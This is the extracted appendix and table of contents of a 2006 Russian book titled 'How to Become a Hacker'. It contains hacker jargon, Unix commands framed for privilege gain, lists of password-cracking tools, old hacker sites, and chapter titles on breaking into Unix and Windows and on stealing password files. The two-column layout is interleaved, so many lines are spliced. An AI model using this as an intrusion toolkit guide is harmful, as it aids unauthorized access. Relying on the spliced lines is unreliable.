гайдед дискавери лернин — обучение (ЭВМ) методом «направля
емых открытий». брутфос програм — программа, решающая задачу в «лоб».

rote learning crufty program


роут лернин — обучение (ЭВМ) методом «заучивания наизусть» крафти програм — неработоспособная программа.

moby cuspy program


моуби каспи програм — аккуратная (надежная) программа (хорошо ра
ботающая у любых пользователей).
◆ Полное адресное пространство.
◆ Адресное пространство величиной 256Kb 36разрядных froggy program
слов, близкое к одному мегабайту. фроги програм — замысловатая программа, хитрая программа.

munch grungy program


манч гранджи програм
◆ Перемалывать (информацию в процессе длительных ◆ Неряшливо написанная программа.
вычислений).
◆ Нетехнологическая программа (нежизнеспособная
◆ Прослеживать структуру данных (сверху вниз). программа).
Приложения 299 300 Приложения

QUARTY splat
куати — программист — средний программист сплэт — звездочка (название символа).

rape spot
рэйп — уничтожить безвозвратно (файл или программу). спот — точка (название символа).

semi twoBspot
сэми — точка с запятой (название символа). туспот — двоеточие (название символа).

shark sguiggle
шак — знак вставки, «крышка» (название символа). скуигл — знак ~, тильда (название символа).

sharp starvation
шап — знак #, диез (название символа). старвэйшн — информационный голод.

shriek line starve


шрик — восклицательный знак (название символа). лайн старв — возврат строки, переход на предшествующую строку
(в противоположность переводу строки).
forward slash
форвад слэш — косая черта, косая (название символа). blank statement
блэнк стэйтмент — пустой оператор.
crufty software
крафти софтвэр — заумное программное обеспечение (излишне expression statement
переусложненное). икспрешн стэйтмент — операторвыражение.

cuspy software tail


каспи софтвэр — ходовые программы (хорошо работающие и час тэйл — запятая (название символа).
то неиспользуемые).
computer trespasser
ROM based software компьютэ треспассэ — компьютерный «взломщик» (злоумышлен
Ар Оу Эм бэйзд софтвэр — программные средства, хранящиеся ник, пытающийся «взломать» защиту и получить доступ к информации
в ПЗУ. в памяти ЭВМ).

spark coding tricks


спак — прямая открывающая кавычка (название символа). коудин трикс — «хитрые» приемы кодирования (программ).

spike twiddle
спайк — вертикальная черта (название символа). твидл — знак ~, тильда (название символа).
Приложения 301 302 Приложения

firstBtime user wow


ферсттайм юзер — новый пользователь. вау — восклицательный знак (название символа).

naive user
неив юзер — неподготовленный пользователь, пользователь, не
Любимые хакерами команды Unix
знакомый с ЭВМ. Ниже мы приводим краткое описание команд Unix, без которых
этой операционной системой никто бы не пользовался.
novice user
новис юзер — начинающий пользователь, пользовательновичок. at
Вы указываете день/час, когда выполнится команда.
real user
рил юзер — обычный пользователь (в отличие от хакера). batch
Выполнение команд в процессе загрузки.
UBturn
ютерн — левая прямая скобка (название символа). chmod
Этой командой вы можете изменить полномочия файлового
UBturn back доступа.
ютерн бэк — правая прямая скобка (название символа).
chown
hack value Был у файла один хозяин, а стал другой.
хэк вэлью — программистский трюк (бесполезный, но поража
ющий воображение). cron
Это демон таймера, точнее, демон команд batch и at.
wane
уэйн — закрывающая круглая скобка (название символа). crontab
Вы можете указать промежутки времени, в течение которых будут
wax выполнены какиелибо команды.
уэкс — открывающая круглая скобка (название символа).
ftp
weed Работаем с удаленным компьютером. Принимаем или пересылаем
уид — «прополка»; «пропалывать» (например, файл с целью удале файлы.
ния ненужных данных).
kill
what Послать некоторому процессу сигнал о конце работы.
уот — знак вопроса (название символа).
logname
worm Хочу получить регистрационное имя.
уорм — тире (название символа).
Приложения 303 304 Приложения

mail uucp
Прием или пересылка электронных сообщений. Копируем файлы из одного компьютера Unix в другой.

news uuname
Отобразить статью из конференции Usenet. Отобразить список хостов UUCP.

nslookup uux
Получить сведения об IPадресе домена. Выполнение команд Unix на удаленном компьютере.

passwd who
Создать/изменить пароль. Отобразить список текущих пользователей.

ps whois
Просмотреть, какие процессы в текущий момент времени активи Получить информацию о текущем пользователе.
зированы.
write
pwcheck Переслать записку текущему пользователю.
Этой командой вы можете проверить файл паролей. По умолча
нию этот файл лежит в каталоге /etc/passwd.
Хакерские списки рассылки
rm
Стереть файл или каталог. Bugtraq
Reflector Address: bugtraq@fc.net
sleep Registration Address: bugtraqrequest@fc.net
Не выполнять команду в конкретный промежуток времени.
Cert Tools
su Reflector Address: certtools@cert.org
Умело используя эту команду, хакер может стать привилегирован
ным пользователем. Registration Address: certtoolsrequest@cert.org

telnet Computers and Society


Доступ к удаленному компьютеру. Reflector Address: CompSoc@limbo.intuitive.com
Registration Address: taylor@limbo.intuitive.com
umask
Если вы только создаете файл, то этой командой вы можете задать CPSR Announcement List
так называемую маску полномочий этого файла. Reflector Address: cpsrannounce@cpsr.org
Приложения 305 306 Приложения

CPSR — Intellectual Property Крякалки


Reflector Address: cpsrintprop@cpsr.org
◆ AfterDarkReader
CPSR — Internet Library ◆ AtEaseBreak
Reflector Address: cpsrlibrary@cpsr.org
◆ AtEaseHacker

DefCon Announcement List ◆ BlackLibrary


Registration Address: Передайте сообщение по адресу majordo ◆ Burn
mo@fc.net со строкой «subscribe dcannounce»
◆ C&NFatReader
DefCon Chat List ◆ CloakShare
Registration Address: Передайте сообщение по адресу majordo ◆ C&NViewer
mo@fc.net со строкой «subscribe dcstuff»
◆ DFErase
Electronic Payment ◆ DisEase
Registration Address: epayment@cc.bellcore.com
◆ Forker

Firewalls ◆ FMProPeeker
Registration Address: Firewalls@GreatCircle.COM ◆ Fork Off
◆ Forker
IDS (Intruder Detection Systems)
Registration Address: Передайте сообщение по адресу majordo ◆ ForkZapper
mo@wyrm.cc.uow.edu.au со строкой «subscribe ids» ◆ HexEdit

Macintosh Security ◆ Incognito


Reflector Address: macsecurity@eclectic.com ◆ MacNuke
Registration Address: macsecurityrequest@eclectic.com ◆ Master Key II
◆ Master Lock Smith
NeXT Managers
◆ PassFinder
Registration Address: nextmanagersrequest@stolaf.edu
◆ Personalize Word
PGP3 announcement list ◆ ReDugger
Registration Address: pgpannouncerequest@lsd.com
◆ RemoveIt
В Subject в Your Name укажите <user@host>, а в Body: *ignored*
◆ ResCompare
◆ SuperRes Edit
◆ Killer Cracker
Приложения 307 308 Приложения

◆ Killer Crack Mac http://l0pht.com


◆ MacCrac http://l0pht.com/~oblivion/IIRG.html
◆ MacKrack http://matrix.resnet.upenn.edu/rourke
◆ Ran Password http://mindlink.jolt.com
◆ Remove Passwords http://mls.saic.com
◆ UnSerialize http://motserv.indirect.com
◆ WordListMakerv http://naic.nasa.gov/fbi/FBI_homepage.html
http://nasirc.hq.nasa.gov
Хакерские сайты WWW http://obscura.com/~loki/
http://www.2600.com http://ophie.hughes.american.edu/~ophie
http://all.net:8080 http://oregano.sl.pitt.edu/index.htm
http://alumni.caltech.edu/~dank/isdn http://pages.ripco.com:8080/~glr/glr.html
http://aset.rsoc.rockwell.com http://thetech.mit.edu
http://aset.rsoc.rockwell.com/exhibit.html http://ucs.orst.edu:8001/mintro.html
http://att.net/dir800 http://underground.org
http://ausg.dartmouth.edu/security.html http://unixg.ubc.ca:780/~jyee
http://csbh.mhv.net/dcypher/home.html http://w3.gti.net/safety
http://cs.purdue.edu/coast/coast.html http://wintermute.itd.nrl.navy.mil/5544.html
http://csrc.ncsl.nist.gov http://wiz.plymouth.edu/~jay/underground.html
http://daemon.apana.org.au/~longi http://www.2600.com
http://dhp.com/~pluvius http://www.8lgm.org
http://everest.cs.ucdavis.edu/Security.html http://www.aads.net
http://everest.cs.ucdavis.edu/slides/slides.html http://www.alw.nih.gov/WWW/security.html
http://ftp.tamu.edu/~abr8030/security.html http://www.aus.xanadu.com:70/1/EFA
http://hightop.nrl.navy.mil/potpourri.html http://www.ba.com
http://hightop.nrl.navy.mil/rainbow.html http://www.bell.com
http://info.bellcore.com/BETSI/betsi.html http://www.brad.ac.uk/~nasmith/index.html
http://infosec.nosc.mil/infosec.html http://www.bst.bls.com
Приложения 309 310 Приложения

http://www.c3.lanl.gov/~mcn http://www.nist.gov
http://www.cam.org/~gagnon http://www.ntt.jp
http://www.cert.dfn.de http://www.pacbell.com
http://www.cpsr.org/home http://www.paranoia.com/astrostar/fringe.html
http://www.cs.umd.edu/~lgas http://www.paranoia.com/mthreat
http://www.csd.harris.com/secure_info.html http://www.planet.net/onkeld
http://www.csl.sri.com http://www.primenet.com/~insphrk
http://www.datafellows.fi http://www.primenet.com/~kludge/haqr.html
http://www.dct.ac.uk/~misb3cp/2600/faq.txt http://www.qualcomm.com/cdma/wireless.html
http://www.digicash.com/ecash/ecashhome.html http://www.raptor.com/raptor/raptor.html
http://www.dnai.com/~gui/index.html http://www.research.att.com
http://www.eecs.nwu.edu/~jmyers/ids/index.html http://www.rsa.com
http://www.eff.org/papers.html http://www.satelnet.org/~ccappuc
http://www.emap.co.uk/partners/racalairtech http://www.seas.upenn.edu/~rourkem
http://www.ensta.fr/internet/unix/sys_admin http://www.service.com/cm/uswest/usw1.html
http://www.etext.org/Zines http://www.shore.net/~oz/welcome.html
http://www.fc.net/defcon http://www.spatz.com/pecos/index.html
http://www.fedworld.gov http://www.spy.org
http://www.first.org/first http://www.sri.com
http://www.gbnet.net/kbridge http://www.telstra.com.au/info/security.html
http://www.ic.gov http://www.tiac.net/triad/philes/jokai.html
http://www.io.org/~excels http://www.tis.com
http://www.indirect.com/www/johnk http://www.tricon.net/Comm/synapse
http://www.magi.com/~vektor/linenoiz.html http://www.tri.sbc.com
http://www.mcs.com/~candyman/under.html http://www.tufts.edu/~jpagano
http://www.mpr.ca http://www.uci.agh.edu.pl/pub/security
http://www.net23.com http://www.usfca.edu/crackdown/crack.html
http://www.netresponse.com:80/zldf
Приложения 311 312 Приложения

Хакерские сайты FTP ftp.IEunet.ie /pub/security


ftp.inoc.dl.nec.com /pub/security
ftp.3com.com /pub/OrangeBook
ftp.io.org /pub/users/gmouser
ftp.acns.nwu.edu /pub
ftp.lava.net /users/oracle/
ftp.acsu.buffalo.edu /pub/security & /pub/irc
ftp.lerc.nasa.gov /security
ftp.alantec.com /pub/tcpr
ftp.llnl.gov /pub
ftp.armory.com /pub/user/kmartind
ftp.luth.se /pub/unix/security
ftp.armory.com /pub/user/swallow
ftp.mcs.anl.gov /pub/security
ftp.auscert.org.au /pub
ftp.microserve.net /ppppop/strata/mac
ftp.cerf.net /pub/software/unix/security
ftp.near.net /security/archives/phrack
ftp.commerce.net /pubs/standards/drafts/shttp.txt
ftp.netcom.com /pub/br/bradleym
ftp.cs.ruu.nl /pub/SECURITY
ftp.netcom.com /pub/da/daemon9
ftp.cs.uwm.edu /pub/compprivacy
ftp.netcom.com /pub/fi/filbert
ftp.csi.forth.gr /pub/security
ftp.netcom.com /pub/le/lewiz
ftp.csl.sri.com /pub/nides
ftp.netcom.com /pub/va/vandal
ftp.csn.org /mpj
ftp.netcom.com /pub/wt/wtech
ftp.csua.berkeley.edu /pub/cypherpunks
ftp.netcom.com /pub/zz/zzyzx
ftp.digex.net /pub/access/dunk
ftp.ocs.mq.edu.au /PC/Crypt
ftp.eff.org /pub/Publications/CuD
ftp.ox.ac.uk /pub/comp/security
ftp.elelab.nsc.co.jp /pub/security
ftp.ox.ac.uk /pub/crypto
ftp.fc.net /pub/deadkat
ftp.ox.ac.uk /pub/wordlists
ftp.fc.net /pub/defcon
ftp.paranoia.com /pub/toneloc
ftp.fc.net /pub/defcon/BBEEP
ftp.primenet.com /users/i/insphrk
ftp.fc.net /pub/phrack
ftp.primenet.com /users/k/kludge
ftp.funet.fi /pub/doc/CuD
ftp.primenet.com /users/s/scuzzy
ftp.gate.net /pub/users/laura
ftp.primus.com /pub/security
ftp.gate.net /pub/users/wakko
ftp.psy.uq.oz.au /pub/DES
ftp.giga.or.at /pub/hacker
ftp.rahul.net /pub/lps
ftp.greatcircle.com /pub/firewalls
Приложения 313 314 Приложения

ftp.std.com /archives/alt.locksmithing CO Central Office


DDD Direct Distance Dialing
ftp.std.com /obi/Mischief
ECC Enter Cable Change
ftp.std.com /obi/Phracks
LD Long Distance
ftp.std.com /pub/joeshmoe LMOS Loop Maintenance Operations System
ftp.sunet.se /pub/network/monitoring MLT Mechanized Loop Testing
NPA Numbering Plan Area
ftp.sura.net /pub/security
POTS Plain Old Telephone Service
ftp.tis.com /pub RBOC Regional Bell Operating Company
ftp.tisl.ukans.edu /pub/security RSB Repair Service Bureau
ftp.uu.net /doc/literary/obi/Phracks SS Special Service
TAS Telephone Answering Service
ftp.uwp.edu /pub/dos/romulus/cracks
TH Trouble History
ftp.warwick.ac.uk /pub/cud TREAT Trouble Report Evaluation and Analysis Tool
ftp.wi.leidenuniv.nl /pub/security LOD Legion of Doom

ftp.win.tue.nl /pub/security HFC Hell Fire Club


TNO The New Order
ftp.winternet.com /users/nitehwk
ACiD Ansi Creators in Demand
ftp.wustl.edu /doc/EFF Cci Cybercrime International
FLT Fairlight
Хакерские акронимы iCE Insane Creators Enterprise
iNC International Network of Crackers
TLA Three Letter Acronym
NTA The Nocturnal Trading Alliance
ACL Access Control List
PDX Paradox
PIN Personal Identification Number
PE Public Enemy
TCB Trusted Computing Base
PSY Psychose
ALRU Automatic Line Record Update
QTX Quartex
AN Associated Number
RZR Razor (1911)
ARSB Automated Repair Service Bureau
S!P Supr!se Productions
ATH Abbreviated Trouble History
TDT The Dream Team
BOC Bell Operating Company
THG The Humble Guys
BOR Basic Output Report
THP The Hill People
BOSS Business Office Servicing System
TRSI Tristar Red Sector Inc.
CA Cable
UUDW Union of United Death Workers
COE Central Office Equipment
CMC Construction Maintenance Center
CNID Calling Number IDentification
Содержание 315 316 Содержание

Содержание Глава 3. Ответвления провода . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .39


Глава 4. Определение номера телефона . . . . . . . . . . . . . . . . . . . . . .40
Глава 5. Считывание RFI . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .40
Глава 6. ESS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .41
Вместо вступления,
или несколько слов от автора . . . . . . . . . . . . . . . . 3 Руководство для начинающих
Вначале было слово . . . . . . . . . . . . . . . . . . . . . . . . . . 4 Глава 1. Опасно! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .42
Глава 2. Этика . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .42
Основы
Глава 3. Теленет . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .43
Глава 1. Кто такой хакер? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .6 Глава 4. Идентификация операционных систем . . . . . . . . . . . . . .47
Глава 2. Хакерский подход . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 Глава 5. Список программ для начинающего хакера . . . . . . . . . .51
Глава 3. Основные навыки хакера . . . . . . . . . . . . . . . . . . . . . . . . . . .14 Глава 6. Как ломалась сеть РОСНЕТ . . . . . . . . . . . . . . . . . . . . . . . .53
Глава 4. Статус в хакерской культуре . . . . . . . . . . . . . . . . . . . . . . . .17
Глава 5. Связь между хакером и придурком . . . . . . . . . . . . . . . . . .20 Система Unix
Глава 6. Черты образа жизни . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .20 Глава 1. Операционная система программиста . . . . . . . . . . . . . . .78
Глава 7. Субкультура хакеров . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .21 Глава 2. Идентификация Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .78
Глава 8. Преступники или романтики? . . . . . . . . . . . . . . . . . . . . . .25 Глава 3. Эккаунты . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Глава 9. Хакер — это почти факир . . . . . . . . . . . . . . . . . . . . . . . . . . .29 Глава 4. Оболочки . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .82
Глава 5. Спецсимволы . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .83
Internet и Intranet
Глава 6. Команды . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .84
Глава 1. Общие принципы построения, адресация . . . . . . . . . . . .31
Глава 7. Программирование оболочки . . . . . . . . . . . . . . . . . . . . . . .94
Глава 2. Доменная система имен (DNS) . . . . . . . . . . . . . . . . . . . . .31
Глава 8. Петли . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .97
Глава 3. Работа в Internet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .32
Глава 9. Использование TEST . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .97
Глава 4. Как получить доступ в Internet . . . . . . . . . . . . . . . . . . . . . .33
Глава 10. EXPR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .98
Глава 5. Сети пакетной коммутации . . . . . . . . . . . . . . . . . . . . . . . . .34
Глава 11. Системные переменные . . . . . . . . . . . . . . . . . . . . . . . . . . .99
Хакинг Глава 12. Компилятор С . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .100
Глава 1. Искусство взлома . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .38 Глава 13. Файловая система . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .101
Глава 2. Как не пойматься . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .38 Глава 14. Файловые допуски . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .102
Содержание 317 318 Содержание

Взлом UNIX Хакерские трюки


Глава 1. Помните! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .104 Глава 1. Классификация методов взлома компьютеров . . . . . . .154
Глава 2. Как зарегистрироваться под чужим именем . . . . . . . . .104 Глава 2. Стандартные пароли в операционных системах . . . . . .155
Глава 3. Блокирование . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .105 Глава 3. Как навредить недругу с помощью Internet . . . . . . . . . .156
Глава 4. Как приобрести новое имя . . . . . . . . . . . . . . . . . . . . . . . .105 Глава 4. Как соблазнить хакера . . . . . . . . . . . . . . . . . . . . . . . . . . . .158
Глава 5. Как удержаться на уровне root . . . . . . . . . . . . . . . . . . . . . 106 Глава 5. Программисты . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .161
Глава 6. Дефекты в системе безопасности . . . . . . . . . . . . . . . . . . .117 Глава 6. Клавиатурные шпионы . . . . . . . . . . . . . . . . . . . . . . . . . . .164
Глава 7. Не доверяйте сценариям/программам инсталляции . .118 Глава 7. Благородный хакер . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .168
Глава 8. Мысли о хакинге Unix . . . . . . . . . . . . . . . . . . . . . . . . . . . . 119 Глава 8. «За» и «против» популярной программы «ICQ» . . . . . .169
Глава 9. Обнаружение отдельных дефектов . . . . . . . . . . . . . . . . .122 Глава 9. Компьютерные атаки: стратегия обороны . . . . . . . . . . .172
Глава 10. Взламываем ограничивающую оболочку . . . . . . . . . . .126 Глава 10. Поисковые машины . . . . . . . . . . . . . . . . . . . . . . . . . . . . .178
Глава 11. Программышпионы в детских играх . . . . . . . . . . . . . .181
Взлом Microsoft Windows 2000 Глава 12. Как защитить себя в Internet? . . . . . . . . . . . . . . . . . . . . .184
Глава 1. Основные принципы взлома защиты сетевых Глава 13. Мой адрес — не дом и не улица... . . . . . . . . . . . . . . . . . .188
операционных систем Windows NT и Windows 2000 . . . . . . . . . .127
Глава 14. Защита DNS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .191
Глава 2. Физический доступ к компьютеру . . . . . . . . . . . . . . . . . .128
Глава 15. Банкомат . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .201
Глава 3. Извлечение и вскрытие текстовых паролей
из украденной SAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .131 Глава 16. Анатомия дружеского взлома . . . . . . . . . . . . . . . . . . . . .205

Глава 4. Программа L0phtCrack . . . . . . . . . . . . . . . . . . . . . . . . . . . .132 Глава 17. Бесплатный Internet . . . . . . . . . . . . . . . . . . . . . . . . . . . . .219

Глава 5. Доступ в локальной сети . . . . . . . . . . . . . . . . . . . . . . . . . .137 Глава 18. Паpоли в UNIX'e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .224

Глава 6. Использование Named Pipe File System . . . . . . . . . . . . .138 Глава 19. Защищаем Linux . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .227

Глава 7. Программа PipeBomb . . . . . . . . . . . . . . . . . . . . . . . . . . . . .139 Глава 20. Взлом htmlчатов . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .234

Глава 8. Программа AdminTrap . . . . . . . . . . . . . . . . . . . . . . . . . . . .140 Глава 21. Как ломать приложения Windows . . . . . . . . . . . . . . . . .236

Глава 9. Использование средства удаленного управления Глава 22. Несанкционированный доступ:


Back Oriffice 2000 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .140 примеры вторжения . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .245

Глава 10. Удаленный взлом Windows NT через Internet . . . . . . .142 Глава 23. Мобильная связь . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .252

Глава 11. Использование утилиты Ogre для проверки Глава 24. Сниффинг . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .259
подсети сервера новостей штата Айдахо . . . . . . . . . . . . . . . . . . . .145 Глава 25. Общие принципы работы OnLine услуг . . . . . . . . . . .260
Глава 12. Взлом сервера Windows NT . . . . . . . . . . . . . . . . . . . . . . .149 Глава 26. По WWW без следов . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261
Содержание 319

Глава 27. Атака . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .264 Научнопопулярное издание


Глава 28. В поисках халявного Webхостинга . . . . . . . . . . . . . . . .267
Глава 29. Некоторые аспекты атаки по словарю . . . . . . . . . . . . .268
Глава 30. Взлом WWWсерверов . . . . . . . . . . . . . . . . . . . . . . . . . . .270
Глава 31. Скрытая Usenet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .273
Левин Максим
Глава 32. Скрытая Internet Relay Chat . . . . . . . . . . . . . . . . . . . . . . .275
Глава 33. Установление личности по известному адресу . . . . . .278 КАК СТАТЬ ХАКЕРОМ
Глава 34. Защищенный разговор online . . . . . . . . . . . . . . . . . . . .280
Интеллектуальное руководство
по хакингу и фрикингу
Глава 35. Как взломать Novell Netware . . . . . . . . . . . . . . . . . . . . . .281
Глава 36. Что помнит компьютер . . . . . . . . . . . . . . . . . . . . . . . . . .282

Часто задаваемые вопросы . . . . . . . . . . . . . . . . 284

Приложения
Элементы жаргона хакеров . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .285
Любимые хакерами команды Unix . . . . . . . . . . . . . . . . . . . . . . . . .302
Хакерские списки рассылки . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .304
Крякалки . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .305
Хакерские сайты WWW . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .307
Хакерские сайты FTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .311
Хакерские акронимы . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .313 Главный редактор Б. К. Леонтьев
Компьютерная верстка И. В. Царик
Корректор О. В. Свитова

Подписано в печать 10.04.2006. Формат 60x90/16.


Гарнитура «Ньютон». Бумага офсетная. Печать офсетная.
Печ. л. 20. Тираж 3000.

ЗАО «Новый издательский дом»


123022, г. Москва, ул. 2я Звенигородская, д. 13, стр. 3.
http://www.nph.ru

Отпечатано в ОАО «Типография «Новости»


105005, г. Москва, ул. Фридриха Энгельса, д. 46.

Вам также может понравиться